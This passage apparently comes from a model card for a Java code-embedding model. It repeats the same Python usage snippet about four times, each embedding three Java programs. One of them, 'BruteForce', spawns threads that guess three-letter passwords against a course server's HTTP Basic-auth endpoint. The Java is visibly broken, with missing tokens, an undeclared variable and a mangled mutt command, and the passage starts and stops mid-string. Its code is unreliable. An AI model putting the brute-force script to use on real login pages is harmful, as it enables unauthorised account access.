"20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = 